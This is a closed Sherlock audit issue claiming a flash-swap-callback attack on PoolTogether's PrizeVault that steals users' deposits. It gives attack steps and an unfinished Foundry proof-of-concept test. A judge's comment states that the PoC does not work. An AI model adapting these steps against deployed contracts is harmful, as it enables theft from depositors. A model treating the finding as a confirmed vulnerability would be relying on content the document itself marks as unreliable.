sherlock-audit / 2024-05-pooltogether-judging

2 stars 0 forks source link

0xSpearmint1 - Complex attack using flashswapcallback to steal user's deposits #156

Closed sherlock-admin3 closed 1 month ago

sherlock-admin3 commented 1 month ago

0xSpearmint1

high

Complex attack using flashswapcallback to steal user's deposits

Summary

Complex attack using flashswapcallback to steal user's deposits

Vulnerability Detail

The attack requires that prizeToken = yieldToken, since Prizetoken is WETH this is common enough to not be a constraint

The vulnerability combines 2 steps

  1. The attacker must perform some actions (deposit lots of yield then liquidate it) to enter a state where all the yieldVault shares are redeemed hence the PrizeVault will hold the deposits of all users

  2. Within the flashSwapCallback the attacker needs to deposit into the PrizeVault, these deposits will mint YieldVault shares and go into the yieldVault

  3. Now after the flashSwapCallback, when the call to verifyTokensIn takes place, it will contribute to the prizePool the original user's deposited tokens

  4. The attacker can withdraw his deposit, he has stolen the liquidated yield and made the users pay for it

Impact

Main impact is the attacker stealing from users

Users make a huge loss

Proof of concept

function test__ComplexCallback() public {

        // Multiple users deposit into the vault
        vm.startPrank(alice);
        prizeVault.deposit(10e6, alice);

        vm.startPrank(vitalik);
        prizeVault.deposit(10e6, vitalik);

        console.log("Total YieldVault shares owned by PrizeVault after deposits =", yieldVault.balanceOf(address(prizeVault)));

        _accrueYield();

        // The attacker directly transfers yield into the yieldVault
        vm.startPrank(bob);
        underlyingAsset.transfer(address(yieldVault), 700000000e6);

        // The attacker immediately liquidates the yield for a minimal amount of prizeTokens (since the amount of yield does not influence the price)
        vm.stopPrank();
        prizeVault.transferTokensOut(address(0), bob, address(underlyingAsset), prizeVault.liquidatableBalanceOf(address(underlyingAsset)));

        // This shows there are no more yieldVault shares left
        console.log("Total YieldVault shares owned by PrizeVault after liquidation =", yieldVault.balanceOf(address(prizeVault)));

        // Callback
        vm.startPrank(bob);
        prizeVault.deposit(100000e6, bob);

        // verify tokens in, it will spend the other user's deposit stuck in the PrizeVault
        vm.stopPrank();
        prizeVault.verifyTokensIn(address(underlyingAsset), 1000, abi.encodePacked(underlyingAsset, uint256(1000)));

        // It is crucial to see that at no point did the liquidator transfer tokens in to pay for what they got
        //Now the attacker bob can withdraw the tokens he deposited

Considering I submitted this with 15 mins left, the POC is not optimized but it works and gets the point across of the flow BUT the numbers may not be entirely accurate

Code Snippet

https://github.com/sherlock-audit/2024-05-pooltogether/blob/1aa1b8c028b659585e4c7a6b9b652fb075f86db3/pt-v5-vault/src/PrizeVault.sol#L747

Tool used

Manual Review

Recommendation

sherlock-admin3 commented 1 month ago

1 comment(s) were left on this issue during the judging contest.

infect3d commented:

PoC do not work + for verifyTokensIn to pass tokens must be sent to the prizePool manually